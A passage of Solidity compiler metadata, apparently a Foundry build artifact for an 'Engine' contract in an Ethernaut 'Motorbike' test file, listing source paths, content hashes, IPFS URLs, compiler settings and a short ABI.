Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/levels/Dummy.sol\":{\"keccak256\":\"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339\",\"dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD\"]},\"src/levels/DummyFactory.sol\":{\"keccak256\":\"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f\",\"dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Motorbike.t.sol\":{\"keccak256\":\"0xc84829fa103ef079c8c8c3262c8d5d4e30e9d3ef0659fd742cbd6254ba8279c6\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7ffa98903dd665a2dc8c0b37ef3166f3e2d4aacebf1d117f0bbef1e87f28a6f9\",\"dweb:/ipfs/QmUrN3ziT2BFwEmwx1hMHhgXjvT6cRxYqLPuy9fVKTg5c7\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"initialize"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"payable","type":"function","name":"upgradeToAndCall"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Motorbike.t.sol":"Engine"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83e